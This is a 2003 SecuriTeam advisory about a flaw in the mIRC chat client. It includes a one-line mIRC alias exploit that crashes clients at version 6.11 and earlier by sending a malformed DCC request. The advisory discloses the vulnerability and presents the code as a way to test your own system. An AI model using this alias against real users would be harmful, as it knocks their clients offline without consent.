[EXPL] mIRC Unspecified DCC Request Vulnerability (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/14/03

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Date: 14 Oct 2003 10:11:21 +0200

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      mIRC Unspecified DCC Request Vulnerability (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/6I00C158KM.html> mIRC
    Unspecified DCC Request Vulnerability, a vulnerability in mIRC allows
    remote attackers to cause the program to crash by sending it a malformed
    DCC request. The following is an exploit code that can be used to test
    your system for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * mIRC version 6.11 and prior

    Immune systems:
     * mIRC version 6.12

    It is possible to crash a mIRC client by sending a specially crafted DCC
    request.

    Exploit:
    mIRC alias:
    /crash { .raw PRIVMSG $1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+
    $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1)) }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:frostwavex@hotmail.com>
    hrmph.

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